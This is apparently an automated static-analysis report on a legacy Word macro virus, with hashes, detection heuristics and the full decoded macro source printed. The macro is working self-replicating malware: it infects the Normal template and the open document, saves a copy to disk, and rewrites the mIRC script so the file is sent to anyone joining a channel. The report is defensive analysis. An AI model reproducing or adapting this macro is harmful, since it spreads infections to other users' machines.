Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49b22da1cdcf0e7f…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-06-10 18:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 66dd36b3abb7df60dbfbed765368e593 SHA-1: 515963f02c47b1ebc5e570ee1f555da47454c05d SHA-256: 49b22da1cdcf0e7f989f928a3b79cba5cab102a2b5590fb3a6d61e8d93ee611f
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro that copies its own code into the Normal template and the active document. It then displays a message box with contact information and saves a file named 'C:\Hardcore.doc'. Additionally, it manipulates 'C:\mIRC\Script.ini' to potentially send the saved file via mIRC DCC when a user joins a channel or connects.

Heuristics 4

  • ClamAV: Doc.Trojan.Class-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1559 bytes
SHA-256: 21cd9ba2e01f7fe59e357c76b8e784d9371fc0afebb515ef6fa9ad2929934f16
Detection
ClamAV: Doc.Trojan.Class-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
NormInstalled = False
ActInstalled = False
Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule
NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
If NormInstalled = False Then
    Set Infection = NormCarrier
    Set Carrier = ActCarrier
Else
    Set Infection = ActCarrier
    Set Carrier = NormCarrier
End If
With Carrier
    VirCode = .Lines(1, .CountOfLines)
End With
With Infection
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, VirCode
End With
MsgBox "IMPORTED-FROM-THE-FUTURE" & Chr(13) & "" & Chr(13) & "Contact: Jivemoph@hotmail.com", 0, "DeijaGen [CE] by Jivemoph"
ActiveDocument.SaveAs FileName:="C:\Hardcore.doc", fileformat:=wdFormatDocument, AddToRecentFiles:=False, ReadOnlyRecommended:=False
Kill "C:\mIRC\Script.ini"
Open "C:\mIRC\Script.ini" For Output As 1
Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick C:\Hardcore.doc }"
Print #1, "n1=on 1:CONNECT: {"
Close 1
End Sub

'DeijaGen by Jivemoph
'Contact: Jivemoph@hotmail.com
'IMPORTED-FROM-THE-FUTURE
'
'Made for a contest.
'Made to win. [DeijaGen]